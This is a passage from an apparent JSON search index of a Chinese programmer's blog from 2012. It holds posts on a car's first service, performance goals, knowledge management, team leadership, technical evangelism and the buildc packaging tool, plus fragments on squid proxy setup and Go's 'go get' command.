http_proxy=\u0026lsquo;http://tonybai:passwd@10.10.1.1:8090\u0026rsquo;这种形式的配置。\u003c/p\u003e","title":"使用squid搭建http代理"},{"content":"自从今年5月份新车入手以来，我的新速腾恰好开了5000公里，其间LP开了一段时间，让5000公里这个点的到达时间延后了一个多月。\n一汽大众新速腾手册上建议的首保是不超过7500公里，但4S的Sale在交车时明确告知5000公里首保。考虑到是新车，而且恰逢由秋入冬天气转冷的季节，我们决定还是5000公里去保，最主要的目的其实是在入寒冬前做一次全车检查。\n考虑到一汽大众4S店比较繁忙，这周一我就电话做了首保预约，时间定在周六上午9:30。大众的服务还是不错的，首保前先后做了两次电话确认，并提醒要携带的手续。\n周六一早就和LP将车开到4S。接待的顾问先进行全车情况登记，然后和我们讲解首保的流程和保养项目。之前听说首保时4S的顾问会极力向你推荐自费项目，比如换更高级的全合成机油等，但让我“吃惊”的是接待我们的这个顾问压根就没提这事。最后还是在我的追问下告诉我们高级机油的价格。新速腾首保用的是大众原厂半合成机油，5W-40的，4L装的，198元一桶。那个顾问说以后在4S保养用的也是这种机油。当然4S也提供大众原厂的高级全合成机油，似乎是与壳牌合作生产的，5W-30的要370一桶，0w-40的要470一桶，这个明显要比市面上的壳牌贵出许多。\n交待清楚后，保养车间的工作人员就把车开到了保养工位。第一次保养，我和LP都进入到车间，现场观摩和学习^_^。保养的项目很多，但这些熟练的工人师傅们早已轻车熟路了- 准备、升车、底盘检查、轮胎对调、轮胎胎压检查与调压、换机油机滤、补冬季玻璃水、补防冻液、车自身各种功能检查、电脑检测等，总共下来也就40多分钟，要不是有些设备是共享的，可能还会更快！\n这次保养，原厂免费机油加了3.5L多，防冻液补充到容器一半的位置，玻璃水(-35度)加了1.5L（4S店礼品，否则玻璃水需购买）。胎压做了调整，前胎2.3，后胎2.8。最后顾问告知车辆一切正常，再隔最多7500公里或一年进行二保。最后，洗车，首保完毕。\n首保后的车开起来感觉比以前加速能快一些，但发动机的噪音依旧没有降低。2012款新速腾1.6的发动机嗓门可不小，据说这是正常的和普遍的。\n","permalink":"https://tonybai.com/2012/11/18/note-for-my-2012-sagitar-first-maintenance/","summary":"\u003cp\u003e自从今年5月份\u003ca href=\"http://tonybai.com/2012/05/25/new-sagitar-and-my-first-driving-experience/\"\u003e新车入手\u003c/a\u003e以来，我的新速腾恰好开了5000公里，其间LP开了一段时间，让5000公里这个点的到达时间延后了一个多月。\u003c/p\u003e\n\u003cp\u003e一汽大众新速腾手册上建议的首保是不超过7500公里，但4S的Sale在交车时明确告知5000公里首保。考虑到是新车，而且恰逢由秋入冬天气转冷的季节，我们决定还是5000公里去保，最主要的目的其实是在入寒冬前做一次全车检查。\u003c/p\u003e","title":"新速腾首保小记"},{"content":"本文是笔者发表在《程序员》杂志2012年11期上的那篇“制定绩效目标的几个重要因素”文章的完整版。\n软件开发是一种创造性的工作，这种工作的成果具有不确定性且很难量化，因此经理们在给员工制定绩效目标时多没有统一标准(即便有也不一定准确，而且在一定程度上还可能会扼杀创造性)，所采用的方法也是五花八门。不过即便如此，经理们也没有放弃寻找一种更为适合软件开发领域绩效目标制定的方法。笔者也是其中一份子，在这里我将就如何制定出合理的绩效目标，与大家分享一下我的工作实践。\n一般来说，一个绩效目标从无到有再到达成，至少包含三个关键阶段：准备、制定与实施。若单从绩效目标的制定来说，我们至少需要做好准备和制定这两个阶段的工作。\n准备\n在与员工进行绩效目标制定之前，经理们应该做足准备工作，这些工作将直接影响到绩效目标制定的优劣。这些准备工作至少包括：\n* 深入理解组织全局目标\n个体绩效目标的制定是为组织内全局目标的达成而服务的。作为经理，自己应该首先对组织的全局目标做好深入的理解，要弄清楚全局目标的内容、自己所带团队的负责范围以及达成该目标的各种约束，如时间、人员以及其他资源配备等。\n* 明确绩效目标制定的目的和意义\n为每位员工制定绩效目标到底为了啥？对于这个问题经理们自己首先要做到心中有数。对组织而言，个体绩效目标是全局目标分解后的最基本单元，个人的绩效目标达成是全局目标达成的必要条件；对个体而言，绩效目标的达成过程也是自身知识和技能得以提升的过程；对于经理们而言，通过为员工制定有挑战性的绩效目标来发现和充分挖掘个体的潜力，通过观察员工在达成绩效目标过程中的表现，还可以进一步甄别员工的优劣。\n* 工作目标初步分解\n在与员工进行绩效目标制定之前，经理们应先做好工作目标的初步分解。将团队所承担的大目标分解为员工个体所能承担的小目标。这方面有很多成熟的方法可以借鉴，这里不赘述。\n* 因人施任\n工作有难易之分，人也有优秀与平庸之别。在与员工制定绩效目标前，经理们应该首先根据自己所掌握的情况对下属员工进行分类。有些人适合挑战高度和极限，而有些人却只能按部就班做一些事务性的工作。因此是否能够做到因人施任对于后续绩效目标制定是否合理以及能否顺利达成影响重大。\n制定\n做足上述准备工作后，经理们就可以坐下来与员工逐一制定合理的绩效目标了。何为合理的绩效目标？这是个见仁见智的问题。笔者认为一个合理的绩效目标至少应包含如下几个关键属性。\n* 明确\n绩效目标中应该包含明确的工作内容、职责范围以及时间约束；明确绩效目标达成的条件；明确实施过程中所能得到的各种支持；明确目标的达成程度与绩效的关系：何种情况为优秀、良好、一般或未达成(不及格)。\n* 适配\n经理们制定绩效目标可不是为了“刁难”员工，因此工作目标应与员工能力和意愿适配，才能最大程度上发挥出员工的潜力。\n* 共识\n在前期准备中，经理们已经做了初步的工作目标分解以及人选甄别准备工作，但这仅仅是经理们的“一厢情愿”。合理的绩效目标是需要经理与员工共同讨论、理解、认同并最终达成共识的，否则纯粹行政命令式的目标指派很难称得上“合理”，目标达成的效果也会大打折扣，很可能影响到组织全局目标的达成。\n* 分阶段\n虽说合理的目标应该是利于员工达成的，但往往因能力有限以及一些不确定因素等原因，我们无法对目标作出精确的估计，因此将绩效目标划分为若干个阶段将更有利于对员工的绩效目标达成情况进行跟踪、反馈、辅导和及时修正。\n* 挑战\n前面说过制定绩效目标的一个重要目的就是帮助员工在目标达成过程中做到自我提升，因此一个合理的绩效目标是应该具备一定挑战性的，否则员工每次都做同等难度或相似的工作，提升的幅度就会有限，导致成长缓慢。但绩效目标带来的挑战性也要适度，过于困难的目标将导致能力上的不适配，从而导致目标无法按预期达成。\n","permalink":"https://tonybai.com/2012/11/17/several-important-factors-in-making-performance-goals/","summary":"\u003cp\u003e本文是笔者发表在《\u003ca href=\"http://www.programmer.com.cn/\"\u003e程序员\u003c/a\u003e》杂志2012年11期上的那篇“制定绩效目标的几个重要因素”文章的完整版。\u003c/p\u003e\n\u003cp\u003e软件开发是一种创造性的工作，这种工作的成果具有不确定性且很难量化，因此经理们在给员工制定绩效目标时多没有统一标准(即便有也不一定准确，而且在一定程度上还可能会扼杀创造性)，所采用的方法也是五花八门。不过即便如此，经理们也没有放弃寻找一种更为适合软件开发领域绩效目标制定的方法。笔者也是其中一份子，在这里我将就如何制定出合理的绩效目标，与大家分享一下我的工作实践。\u003c/p\u003e","title":"制定绩效目标的几个重要因素"},{"content":"buildc的演进先后经历了构建管理和安装包工程管理两个阶段。其中buildc的构建管理功能在项目中应用较早，目前相对稳定可靠。但其支持的安装包工程是直到最近才被大家所正式使用的。不出意料，大家在使用过程发现了一些问题，于是我们也是边用边改。\n目前一个setup工程一般具有类似如下源码组织结构：\ndistributions/\nsetup.cfg\nsrc/\n– README\n– app/\n– conf/\n– deps/\n– layout.cfg\n– others/\n– scripts/\n– setup.py\n按照最初的设计，deps目录下会存放一些目标程序运行时依赖的库、工具等。但就一些细节并未考虑清楚，比如如果一个程序需要在两个平台（linux和solaris）上运行，那deps下的依赖库应该如何存放？\n就这个问题一线的人员在设计setup工程时采用的策略是将某个库的所有平台版本都手工放到deps下，以instantclient这个oracle的客户端库来说，就形成了如下结构：\ndeps/\n– instantclient/\n– 10.2.0.5.0/\n– x86_64_linux/\n– lib/\n– x86_64_solaris/\n– lib/\n这样一来安装包制作完后size非常的大，不便于存储和传输。另外手工copy依赖库显然不够专业。打包过程是buildc来完成的，而buildc是拥 有全部依赖库的存储位置、版本等信息的。于是我们就这个问题做了改进，让buildc 0.2.0支持将依赖的第三方库根据目标程序运行平台类别自动打包到最终的安装包中。\n也就是说，如果你是为x86-64 linux平台做的安装包，最终安装包中的目录结构会是：\ndeps/\n– instantclient/\n– 10.2.0.5.0/\n– x86_64_linux/\n– lib/\n而这一切仅需通过配置完成。在setup工程顶层目录的setup.cfg文件中，我们增加了一个新配置项，用于描述目标程序运行时依赖哪些第三方库，这些库将被打包到安装包中，并部署到目标主机上去。\n配置的格式如下：\ndependences = [\n(\u0026ldquo;instantclient\u0026rdquo;, \u0026ldquo;10.2.0.5.0\u0026rdquo;, [\u0026ldquo;libclntsh.so\u0026rdquo;, \u0026ldquo;libclntsh.so.10.1\u0026rdquo;, \u0026ldquo;libnnz10.so\u0026rdquo;]), # 打包指定的库文件\n#(\u0026ldquo;instantclient\u0026rdquo;, \u0026ldquo;10.2.0.5.0\u0026rdquo;, []), # 打包instantclient/10.2.0.5.0下所有的库文件\n#(\u0026ldquo;instantclient\u0026rdquo;, \u0026ldquo;10.2.0.5.0\u0026rdquo;), # 打包instantclient/10.2.0.5.0下所有的库文件\n]\n通过例子可以看出dependences中的元素支持三种形式配置，可以指定打包的库文件，也可以将库目录整体打包。\nBTW，buildc自从发布以来一直没有user guide，好消息是项目组的小兄弟wtz1989227已经在wiki上建立了buildc_user_guide页面，后续他会逐步完善这个guide的。\n","permalink":"https://tonybai.com/2012/11/06/buildc-0-2-0-release/","summary":"\u003cp\u003e\u003ca href=\"http://code.google.com/p/buildc/\"\u003ebuildc\u003c/a\u003e的演进先后经历了\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003e构建管理\u003c/a\u003e和\u003ca href=\"http://tonybai.com/2012/02/10/add-packing-feature-to-buildc/\"\u003e安装包工程管理\u003c/a\u003e两个阶段。其中buildc的构建管理功能在项目中应用较早，目前相对稳定可靠。但其支持的安装包工程是直到最近才被大家所正式使用的。不出意料，大家在使用过程发现了一些问题，于是我们也是边用边改。\u003c/p\u003e\n\u003cp\u003e目前一个setup工程一般具有类似如下源码组织结构：\u003c/p\u003e\n\u003cp\u003edistributions/\u003cbr\u003e\nsetup.cfg\u003cbr\u003e\nsrc/\u003cbr\u003e\n    – README\u003cbr\u003e\n    – app/\u003cbr\u003e\n    – conf/\u003cbr\u003e\n    – deps/\u003cbr\u003e\n    – layout.cfg\u003cbr\u003e\n    – others/\u003cbr\u003e\n    – scripts/\u003cbr\u003e\n    – setup.py\u003c/p\u003e\n\u003cp\u003e按照最初的设计，deps目录下会存放一些目标程序运行时依赖的库、工具等。但就一些细节并未考虑清楚，比如如果一个程序需要在两个平台（linux和solaris）上运行，那deps下的依赖库应该如何存放？\u003c/p\u003e","title":"buildc 0.2.0版本发布"},{"content":"时间真是过得飞快，遥想一年前的这个时候我们在产品线的知识管理试水有了一点成绩，便在组织内力推知识管理。领导经过权衡后，也认同了知识管理的重要性， 并随即安排人在组织内部快速建立起了知识库。在最初的一两个月里，临时的知识管理负责人热情很高，做得还算不错，初步地将知识库是什么、如何使用以及组织 知识管理的第一版规范和大家交待清楚了。但随着热情的消逝，知识库管理也随波逐流了，知识管理开始变得名存实亡，这种状态持续了大半年。\n领导层的原因我这里不去分析。领导自然有生存问题要考虑。知识管理这等重要但不紧急的事情，还是留给我们去考虑吧。知识管理没有预想中的那样在组织内形成 工作风气，究其原因还是缺少持续的运营。大家知道即便是再好的事物如果缺少了持续经营和关注，也会逐渐消亡的。试想如果新浪微博没有持续的宣传投入哪会有 今天这种地位。\n上周和几位组织内的资深同事一同讨论了知识管理的现状，不能再这样下去了，我们要在民间做点工作。由于都不是专业搞知识管理的，所以把我们讨论出来的策略暂且称为“野路子”^_^。我这里也将我们产品线兼职做知识管理的MM“贡献”给组织，协助做组织知识管理的经营工作。\n以下是初步确定的几点经营策略：\n1、团队经营\n之前只是有一个临时知识负责人，除了职责范围不明确外，一个人“单打独斗”也确实心有余而力不足。因此知识管理的经营必须要有一个团队，可以是实体专门团 队，也可以是虚拟团队。团队必须有专门的负责人，专职也好，兼职也罢，有胜于无。团队应该按照做项目或做产品的方式去对待知识管理，有计划、有目标、有阶 段步骤的去经营；另外团队内部人员有分工，有些负责策划、有些负责技术、有些负责推广等，总之团队经营是一个组织搞好知识管理的必要条件。\n2、借鉴和效仿\n我们不是专业的知识管理团队，但业界却有好多已经做得很成功的知识管理策略值得我们借鉴和效仿，比如智库(MBAlib)等。另外一些知名SNS服务的提供商的经营策略也是值得我们学习的，即便知识管理与通常的SNS有很大不同。\n以下列举一些参考策略：\n- 培养达人(名人)，影响长尾。新浪从其博客开始一直就是这么做的，后期微博更是复制这一策略，腾讯微博也是照搬效仿。在组织内部，培养分享和总结知识的达 人，树立他们在知识库贡献中的领袖地位。并在这一过程中，通过宣传和引导，逐渐让更多人了解知识库，效仿达人们形成总结和分享知识的良好工作习惯。\n- **持续让大家被动关注。**通过各种手段让大家持续感受到知识管理在组织内的存在，比如定期全员发送知识简报、组织知识管理达人秀活动、白板宣传等方式。\n- **持续改善页面体验。**一个易用和好用，可以快速上手的知识库是让大家积极参与到知识管理中的一个前提条件。因此作为知识管理重要环节的知识库，我们务必做到对其使用体验的持续改善。通过各种技术手段，让大家易访问、易编辑、易归类、易检索等等。\n3、引入竞争****机制，激发荣誉感\n在知识管理过程中引入竞争机制。就像新浪微博勋章系统一样，为知识达人们分级，让大家产生知识分享的荣誉感。另外如果组织内部由多个子部门组成（就像我所在的组织那样），还可在子部门间引入竞争机制，这块具体采用何种机制就要看具体情况而定了，比如通过排名，或也给部门授予类似勋章的机制。\n4、善用行政手段\n知识的来源有随机自发的，也有规定必须的。因此有些知识整理和分享是在组织行政规定之下必须要做的，这部分内容也不能忽略，这可以让知识库内容更加丰满。另外还可以从长远考虑，将子部门对组织知识库的贡献纳入到子部门的业绩当中去。这手段有些别扭但可能真的有效。\n","permalink":"https://tonybai.com/2012/11/04/the-amateur-way-of-knowledge-management/","summary":"\u003cp\u003e时间真是过得飞快，遥想一年前的这个时候我们在产品线的\u003ca href=\"http://tonybai.com/2011/11/23/those-things-about-knowledge-management/\"\u003e知识管理试水\u003c/a\u003e有了一点成绩，便在组织内力推知识管理。领导经过权衡后，也认同了知识管理的重要性， 并随即安排人在组织内部快速建立起了知识库。在最初的一两个月里，临时的知识管理负责人热情很高，做得还算不错，初步地将知识库是什么、如何使用以及组织 知识管理的第一版规范和大家交待清楚了。但随着热情的消逝，知识库管理也随波逐流了，知识管理开始变得名存实亡，这种状态持续了大半年。\u003c/p\u003e","title":"知识管理的几点野路子经营策略"},{"content":"C程序员骨子里都有一种“重新发明轮子(Reinventing the Wheel)”的特质。在面向对象、组件化流行以及崇尚复用的今天，这种特质似乎总是被认为是反面教材。但伟大的毛主席教导我们：要辩证地看待一切事物， 凡事无绝对。事物都是有两面性的，有好就有坏，有坏就有好。拿“重新发明轮子”这事而言，我们除了看到其弊端外，还要充分领会到其好的一面，不能一棒子打 死，这样才能在特定的场景下作出正确合理地判断。\n关于这个题目我不打算长篇大论，几个鲜活的例子便足矣让大家看到“重新发明轮子”的另外一面。\n我们来回顾一下IT技术发展道路上的一些产品或工具的演化和变革历程：\n- 从Apache到Nginx\n- 从CVS到subversion再到git、mercurial\n- 从memcached到redis、leveldb\n- 从symbian、WindowsCE到android、iOS\n- 从Unix到Linux\n- 从Perl到Python，再到Ruby\n- 从C、C++到Go\n- 从IE到Firefox、Chrome\n- 从普通mp3 player到Apple的iPod\n诸如此类。有些举例你可能觉得有点牵强，不过没有关系。你只要认同其中一两个即可。我想说的是一个结论，那就是“重新发明轮子”在某种程度上是推动进步和变革的一种原动力，这就是“重新发明轮子”的另外一面。因此辩证地去对待“重新发明轮子”才是一个专业程序员应该具备的正确态度。我们不应该在所有场合都 否定“重新发明轮子”，因为你可能会扼杀一种创新，甚至是一个伟大工具或产品的诞生。\n","permalink":"https://tonybai.com/2012/11/02/treat-reinventing-the-wheel-dialectically/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/c\"\u003eC程序员\u003c/a\u003e骨子里都有一种“\u003ca href=\"http://en.wikipedia.org/wiki/Reinventing_the_wheel\"\u003e重新发明轮子\u003c/a\u003e(Reinventing the Wheel)”的特质。在面向对象、组件化流行以及崇尚复用的今天，这种特质似乎总是被认为是反面教材。但伟大的毛主席教导我们：要辩证地看待一切事物， 凡事无绝对。事物都是有两面性的，有好就有坏，有坏就有好。拿“重新发明轮子”这事而言，我们除了看到其弊端外，还要充分领会到其好的一面，不能一棒子打 死，这样才能在特定的场景下作出正确合理地判断。\u003c/p\u003e","title":"辩证地看待“重新发明轮子”"},{"content":"在近两年的持续不断的投入和努力下，近期我在团队经营方面看到了一些成果，但这却引来了同僚们的“羡慕嫉妒恨”^_^，他们希望了解到我是“如何将0变成 1的”。关于团队运营方面，我始终认为自己只是个初级选手，充其量就是个实践者而已。以前我也只是按照我的思路和直觉在做，并未有过什么细致的考量，也没 有人给我这方面系统的指导。这几天闲暇时回顾了一下这两年的经营历程，形成了些许体会，这里也和大家分享一下。\n* 以“骨架”为中心\n我们经常在新闻联播中听到“搭班子”这个词，不过那是政府事业单位的说法。“班子”就是一个团队的“骨架”，我还是比较喜欢用“骨架”这个词。一 个良性的团队应该具有一副优秀且稳定的“骨架”。有了这副“骨架”的支撑，团队才能具有强大的战斗力。在面对困难和问题时，团队才能积极主动地去解决问 题。\n“骨架”反映了一个团队的组织结构，在团队建立初期团队的Leader就应该清楚这个团队的目标骨架应该是什么样子的，并按照这个“骨架”目标去经营和发展团队，即便当时人力资源有限，不能立即实现这个骨架，Leader也要按照这个目标去发现和培养骨架上的成员。\n随着认知的变化，人的思想也是在变化的。团队“骨架”在Leader眼中也可能是动态的，根据组织和产品的持续发展需要，“骨架”也是可以有不同版本的。Leader要学会“与时俱进”，灵活地调整团队骨架，以适应新的形势，保持团队的良性运转和强大的战斗力。\n* 知人善用\n心中有了“团队骨架“后，接下来就是识人和用人的事情了。\n所有团队的Leader无一例外地都想招揽到最优秀的人才，希望是美好的，但现实却总是残酷的：公司的人力资源不可能无限充裕，绝大多数团队所面临的情况 永远是“资源有限”。这样Leader只能在有限的资源下进行挑选，这就需要Leader具有非凡的眼光，善于发现人的优势，并敏锐的挖掘出不同人员的特 点，以骨架为中心灵活组合。一个IT团队中不是所有人都需要技术最牛的，这就好比军队中一个步兵班，有枪法最好的狙击手，还要有辅助其寻找定位目标的观察 手，以及突破攻坚的突击人员。但如果一个班都是枪法最好的狙击手，那这个班的综合战斗力和战斗适应性反倒可能会下降。\n因此在IT团队中，什么样的人适合做技术攻坚，什么样的人适合做流程运作，什么样的人适合提供基础设施服务，都要Leader通过识人来甄别和使用。\n* 建立人员流动的主动应对机制\nIT行业是人员流动率较高的行业，组织内部的工作调整也会带来团队人员变化。因此与其被动地应对，不如建立主动应对的策略，追求人员流出的“零影响“。具体来说，三个手段：\n- 骨架节点互备\n骨架是团队的核心，作为团队骨架的成员其重要性不言而喻，为了降低骨架上哪个节点流出对团队运转造成的影响，团队应该确立骨架节点成员的互备机制。\n- 骨架节点潜在继任者培养\n除了骨架节点间互备，我们还要从普通成员那里找到骨架节点的潜在继任者，按照骨架节点的要求培养他们，使他们能在需要时顶上去。\n- 留住组员的“大脑”\n如何能让组员流出后，其所拥有的知识、技能和经验尽可能的留下呢？团队需要建立知识管理策略，尽可能地让组员将生产过程中大脑的产物记录总结出来，留给团队。\n人员流动始终是影响团队战斗力的重要因素，虽然制定了主动应对策略，但很可能鉴于一时找不到合适人选，一些策略也许无法立即实施，这种风险有时只能被动接受。\n* 提供统一有力的保障服务\n战斗力过硬的同时，IT团队还要提供统一的有力的保障服务。这些服务包括统一的基础设施管理（硬件资源管理、构建管理、版本服务管理、需求管理系统以及缺 陷管理等）、知识管理以及文档服务等。千万不能小视这些服务。很多团队没有统一的服务，导致组员单打独斗，做了重复的工作，走了弯路，效果还不见得好。相 反，统一服务的提供可能会从整体上提升团队的效率。因此，一旦具备条件，团队就应该有专门的对内服务小组来提供以上统一服务 – “磨刀不费砍柴功”。\n* 持续的文化熏陶\n谈到文化，大家可能都认为有些虚。但“文化”在团队里却是真实存在的。到底何为团队的文化呢？说的直接和实际点，团队Leader与骨架成员的工作风格就是团队的主导文化，直接决定了该团队的文化形成，影响着后续团队的发展。一个良性的团队的文化至少应该涵盖如下几点：\n- 有一致的目标和追求\n- 注重积累和总结\n- 持续优化、改善和创新\n* 规范****合理地运作\n团队运作中流程过多过重不好，过少也会导致一些问题。因此一个良性的团队应该具有一套合理的运作规范，既包括团队内部运作，也包括团队成员与外部环节/其 他团队的沟通与衔接。只有明确了这些，才能让团队处于一个良性的组织中运作。而一套合理的运作流程规范应该具备准确、一致、高效等特点。\n* 建立奖惩机制，优胜劣汰\n这个应该是所有团队都会采用的一种措施。一个团队的成功和持续发展离不开优胜劣汰这套法则。我们既要建立好机制选拔优秀的人，也要通过业绩淘汰不胜任的人。让团队中总是涌动着“正能量”。\n* 别让大家的头脑闲置\n团队普通成员才是一线生产者，他们也是问题的发现者，他们还可能是创新的起点，因此不能让他们的头脑闲置，要充分激励他们去思考，去改进，建立一线人员意 见和建议的反馈通道，让他们拥有足够的话语权，让他们充分表达他们的改进想法。主动的生产力永远高于且远高于被动的生产力。这样的团队才是生机勃勃的。\n* Leader团队经营布****局\n团队经营好坏的一个决定性因素之一就是Leader是否善于布局。团队从无到有，从有到壮大，从壮大到形成良性的合理、高效可持续的团队文化和运作方式， 无不需要Leader精心的布局。这里包括骨架的确定，人员的招聘、选择与培养，运作机制的确定、基础服务的建立等。Leader布局需要有几点考量，这 里说说：\n- 经营目标要明确\n这个团队经营的目标可能是上级传达下来的，也可能是Leader的原生想法，后者对Leader保持持久热情更具帮助。但无论如何，都要先具备一个明确的目标，这是布局的先决条件。\n- 划分阶段\n布局不是一蹴而就的，很可能是一场长期持久战。因此Leader要根据实际情况，制定确实可行的布局计划，并将计划分为多个阶段，逐个达成，并获取反馈，及时总结得失，以便对后续的布局计划进行灵活调整，避免犯同样的错误。\n- 要讲究时机和策略\n布局计划的实施也要讲究时机和策略，某个计划很可能因为硬件资源不具备或因没有合适的可胜任的人员参与而无法执行。因此Leader要敏捷识别出当前适合做何种布局，并积极的为后续的布局计划收集各种资源；协调和动员一切可被使用的内外部资源****来为你的布局计划服务。\n- 要有耐心\n布局很可能是长期的甚至是一直需要做的，因此要做好心理建设，至少要有足够的耐心。\n- 持续改进和调整\n持续改进和调整是优良团队文化的一个属性，自然也应该是Leader的一种工作作风，这在布局时也极为重要。Leader需要对自己的目标、计划以及布局实施过程做持续的反思和总结，及时准确地找出布局过程中存在的各种问题，持续地予以解决。\n*** 成为“酱油男”**的心态\n不知道这点是否具有通用性。我在团队经营布局的过程中始终考虑一点，那就是如果没有我，我的团队是否还能持续规范的运转下去？或者说我也是一直抱着这种成 为“酱油男”的心态去经营和布局的。换句话说，我的团队经营的重要目标之一就是我的团队离开我依旧可以持续不断的运转下去，自我演进。也许目前离这个目标 还有距离，但恰恰是这点赋予我充裕的经营动力。\n","permalink":"https://tonybai.com/2012/11/01/some-experience-on-team-management/","summary":"\u003cp\u003e在近两年的持续不断的投入和努力下，近期我在团队经营方面看到了一些成果，但这却引来了同僚们的“羡慕嫉妒恨”^_^，他们希望了解到我是“如何将0变成 1的”。关于团队运营方面，我始终认为自己只是个初级选手，充其量就是个实践者而已。以前我也只是按照我的思路和直觉在做，并未有过什么细致的考量，也没 有人给我这方面系统的指导。这几天闲暇时回顾了一下这两年的经营历程，形成了些许体会，这里也和大家分享一下。\u003c/p\u003e","title":"关于团队经营的若干体会"},{"content":"本文是笔者发表在《程序员》杂志2012年08期上的那篇“改善技术布道效果的几个实践”文章的完整版。\n技术布道不易，想取得良好的效果就更难了。下面是笔者总结的几个有助于改善技术布道效果的有效实践,这里给大家分享一下。\n自我认知\n技术布道前,布道者首先要做好自我认知,这将有助于布道者确认自己是否胜任此次布道以\n及采用何种布道策略以赢得更好的效果。认知的内容包括:自己是否精通这方面的技术。若\n只知皮毛,布道效果将大打折扣;自己在组织内部是何种资历与角色。如果你是职场新人,\n人微言轻,布道效果势必会受到影响。\n环境认知\n组织内的技术氛围对技术布道效果有着重要影响,因此布道前还要做好环境认知。这包括:\n组织内成员是否拥有一个开放的心态,乐于接受新鲜事物;组织内部是否为大家建立起一个\n有影响力的布道平台并设立奖励机制;管理者是否积极支持技术创新并接受因此带来的成本\n损耗。最终布道者应根据环境认知的结果来选择适合该组织的布道策略和方式。\n精选主题\n技术布道的主题无疑是影响布道效果的最直接因素,因此在选择布道主题时务必谨慎而为。\n选题时要把握住一个至关重要的原则,那就是你要布道的主题一定要能够给组织带来价值。\n这些价值可体现在多个方面,比如解决了困扰大家已久的问题、提高了工作效率、降低了风\n险或增进了理解等等。从笔者的多年布道的经验来看,从问题出发选题是个不错的选择。当\n你对组织内部存在的问题深入分析和理解后,你的布道主题就很容易确定了。而且因为这个\n主题与大家的日常工作息息相关,你可以相对容易地获得良好的布道效果。相比之下,那些\n纯粹为了引入新技术而选择的主题就好比无源之水、无本之木,是很难获得良好效果的,其\n布道的新技术在组织内也是不会有长久生命力的。\n受众分析\n技术布道的主题多数并不具备普适性,它只是在一定受众范围内是有生命力的,因此在谋划\n布道之前要做好布道受众的分析,识别出适宜本次布道的受众。一旦确定了受众范围,布道\n者就可以在布道之前先对受众以及他们所遇到的问题进行相关的分析和调查,使得布道更有\n针对性,并取得事半功倍的效果。\n把握时机\n俗话说:“来得早不如来的巧”。技术布道也是一样:“布得早不如布得巧”。良好布道时机的\n把握对赢得良好布道效果有着很大影响。如果你非要向一个下周就要做产品发布的产品线推广 JUnit,非要向一个工期仅有三个月、繁忙异常的产品线推广 CMMI 理论,那你肯定是自\n找苦吃。人家都忙得脚打后脑壳了,你还给人家添乱,显然你选错了布道时机。\n制定策略\n制定一个适宜的布道策略对取得良好布道效果作用很大。这里介绍一些有效的策略,大家可\n以参考。\n- 以点及面。受众面越大,布道的效果可能越不理想。因此,最好先在小范围内进行试点,并在取得成果后再扩大布道范围。“事实胜于雄辩”,小范围布道取得的成功结果会让更多人见识到该主题的价值,并带着更加积极的心态参与到这个主题的后续布道中去。这点在说服上层管理者时也尤为有用。\n- 划分阶段。如果布道主题涵盖范围较大,可将布道划分为多个阶段,并逐段实施。每实施一段后,还可以根据受众的反馈进行自我调整和完善,这有助于你在下一个阶段的布道中取得更佳的效果。\n- 善于借势。如果你布道的主题在实施之前获得了管理层的认可,那不妨将你的布道过程名正言顺地打上官方之烙印。相比于职级对等的“水平布道”而言,借管理层之势的“垂直布道”势必更能引起大家的关注,提升大家参与的积极性。\n心理建设\n大多布道者都是技术专家,他们对技术充满热情,对布道乐此不疲,总是希望能够通过自己\n持续不断的布道使得组织获得在技术能力等多方面上的提升。但布道的结果有成功也有失败，布道者也是人,失败的苦果并不容易下咽。因此布道者在布道前先要做好心理建设,最大可能地减少布道失败对自己的负面伤害。\n- 建立信心和耐心。只要你认定某种布道会给组织带来价值,那么就不要放弃,要有些耐心,充分考虑使用上面所述的策略和方法。\n- 降低目标预期。这是个心理把戏,在布道前适当降低些目标预期,那么即使布道效果未达到你的要求，带给你的伤害也不至于很大,有利于保留你热情的火种。\n(全文完)\n","permalink":"https://tonybai.com/2012/10/26/some-practice-on-improving-tech-preach/","summary":"\u003cp\u003e本文是笔者发表在《\u003ca href=\"http://www.programmer.com.cn/\"\u003e程序员\u003c/a\u003e》杂志2012年08期上的那篇“改善技术布道效果的几个实践”文章的完整版。\u003c/p\u003e\n\u003cp\u003e技术布道不易，想取得良好的效果就更难了。下面是笔者总结的几个有助于改善技术布道效果的有效实践,这里给大家分享一下。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e自我认知\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e技术布道前,布道者首先要做好自我认知,这将有助于布道者确认自己是否胜任此次布道以\u003c/p\u003e","title":"改善技术布道效果的几个实践"},{"content":"Go语言目前(截至1.0.2版本)尚不支持直接链接.a文件(这里的.a文件指的不是传统静态共享库，而是对golang的非main包build后的产物)。这样一来Go的第三方库包或组织内部的公共代码库包只能以源码的形式分发了。\nGo提供了get命令用于获取他人分发的代码包。我们通过get命令既可以获取一些知名代码托管站点上的代码，也可以获取组织内部版本控制服务器上的公共代码。\nGo get支持的托管站点包括github、google code、BitBucket以及Launchpad，针对这类情况，我们可以得到“特殊”语法的照顾：\ngo get github.com/bmizerany/assert\ngo get bitbucket.org/bmizerany/assert\ngo get code.google.com/p/assert\ngo get launchpad.net/assert\n由于Go已经“内置”了github、google code等的版本控制工具类型，因此我们无需再做任何额外指定，只需用代码的url（去掉http://）即可。\n执行get后，代码会被下载到GOPATH环境变量配置中的第一个路径下的src目录下面。例如：我们的GOPATH=/home/tonybai /goworkspace1:/home/tonybai/goworkspace2，执行go get github.com/bmizerany/assert后，我们将在/home/tonybai/goworkspace1下看到github.com 目录，而assert包在本地的完整路径就是/home/tonybai/goworkspace1/github.com/bmizerany /assert。这样我们在代码中直接import \u0026ldquo;github.com/bmizerany/assert\u0026quot;即可使用assert这个第三方包了。\n在组织内部我们也会有自己的私有公共代码库，一份代码库可能被多个项目所使用。在每个项目中都保存一份公共库代码显然是不利于后续版本升级维护的，这样就需要各个项目统一从同一个地方获取或更新公共库代码。这种情况我们同样可以用go get命令来做。\n假设内部使用subversion作为版本控制工具，公共库架设在10.10.12.13/svn0/share/golib。这时我们不能简单地的通 过\u0026quot;go get 10.10.12.13/svn0/share/golib\u0026quot;来获取到代码，我们需要告诉get我们采用哪种版本控制工具，而这种信息的传递是通过在库名称后面加上后缀的方式进行的。比如：\ngo get 